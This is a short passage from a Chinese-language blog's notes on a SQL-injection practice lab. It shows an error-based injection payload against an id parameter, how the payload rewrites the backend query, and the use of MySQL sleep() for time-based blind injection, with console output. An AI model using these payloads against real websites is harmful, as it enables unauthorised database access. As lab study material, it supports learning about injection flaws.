TyRant的博客

Basic Challenges01-Error Based-Single quotesError Based: 可以通过报错知道闭合方式> paylod: ?id=1') and ;--+源码拼接后：SELECT * FROM users WHERE id=('$id') LIMIT 0,1;SELECT * FROM users WHERE id=('1') and ;-- ') LIMIT 0,1;> err: You have an error in your SQL

sleep(duration) ： 睡眠duration秒，返回0，若没有执行，则返回1mysql> select * from users where id=1 and sleep(1);Empty set (1.00 sec)mysql> select * from users where id=1 or sleep(1);+----+----------+----------+| id | username | password |+----+----------+-----